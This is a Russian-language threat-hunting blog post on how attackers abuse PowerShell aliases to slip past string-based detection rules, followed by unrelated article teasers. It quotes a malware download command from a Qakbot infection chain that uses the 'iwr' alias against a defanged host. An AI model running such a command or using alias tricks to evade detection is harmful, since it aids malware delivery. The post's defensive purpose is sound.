Поиск угроз и псевдонимы PowerShell

В этой статье я буду обсуждать, что такое псевдонимы Powershell и почему важно помнить о них при выполнении действий по поиску угроз или создании правил обнаружения.

Что такое псевдоним?

Как следует из названия, псевдоним — это альтернативное имя командлета или команды PowerShell. После создания псевдонима вы сможете использовать его вместо исходной команды.

PS > New-Alias -Name goto -Value Set-Location

Командлет Set-Locationиспользуется для изменения каталога текущей папки, после выполнения приведенной выше команды мы можем переключить каталог, просто используя gotoкоманду.

Итак, теперь, когда мы знаем, что такое псевдонимы и как они работают, давайте перейдем к более интересным вещам.

Встроенные псевдонимы

В Powershell уже есть встроенные псевдонимы, которые вы, вероятно, использовали, даже не зная, что это действительно псевдоним, например:

curlкоманда является встроенным псевдонимом дляInvoke-WebRequest
cdкоманда (сменить каталог) — это встроенный псевдоним дляSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
       built-in aliases for starting a process
      

      
       List of all cmdlets and its associated alias

Злоумышленники могут использовать это как технику уклонения от защиты от правил обнаружения на основе строк.

В недавнем образце Qakbot, которым поделился @ pr0xylife , цепочка заражения была — .one > .wsf > .cmd > ps > .dll — и выполняемая команда Powershell использовала один из псевдонимов — iwr — дляInvoke-WebRequest

poweRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Поскольку существует множество малоизвестных псевдонимов, которыми ТА может злоупотреблять, я создал небольшую шпаргалку с некоторыми из наиболее интересных:

И, наконец, вот как Start-Processиспользование команды sapsбудет отображаться в журналах событий Sysmon. Мы можем подтвердить, что псевдоним не «переводится» в исходный командлет.

Очень часто разрабатывается правило для обнаружения конкретной строки командлета Powershell без включения всех ее встроенных псевдонимов, что может привести к необнаруженной угрозе.

Надеюсь, вы узнали что-то новое из этого блога.

Спасибо за чтение и удачной охоты!

Сбор OSINT для поиска угроз

Привет, киберлюбители! Добро пожаловать обратно в серию OSINT по поиску угроз. В первой статье я рассказал вам об OSINT и его важности для поиска угроз.

Отслеживайте кого угодно только по номеру телефона | OSINT-расследование

Вы можете быть исследователем OSINT, игроком CTF или просто тем, кто получает спам-звонки. Кто-то, кто пытается проверить номер, который вы видели в рекламе.

Первая детская книга о кайфе

(Предупреждение — это сатира, предназначенная для радостной подрывной деятельности — определенно не для детей) Вы видели, как ваши мама и папа прячутся на кухне и курят эти вонючие сигареты. Они говорят вам.

Всегда ли искусство аполитично?

Вчера мы закрыли двери конкурса песни «Евровидение» в этом году блестящим, хаотичным грандиозным финалом, в котором шведская певица Лорин забрала домой трофей, став первой женщиной, выигравшей дважды, и вернув корону Швеции спустя 50 лет после того, как ABBA выиграла конкурс. с «Ватерлоо». Они стали одним из крупнейших исполнителей в каноне поп-музыки.

Обучение на рабочей неделе важнее, чем вы думаете

Мы часто обнаруживаем, что изо всех сил пытаемся реализовать то, что, как мы знаем, полезно для нас. От того, чтобы сказать значимому другому, что мы любим его, до того, чтобы помнить, что нужно говорить как пират, всегда будут те, кто утверждает, что день, неделя или месяц событий не нужны, потому что они уже делают эти вещи.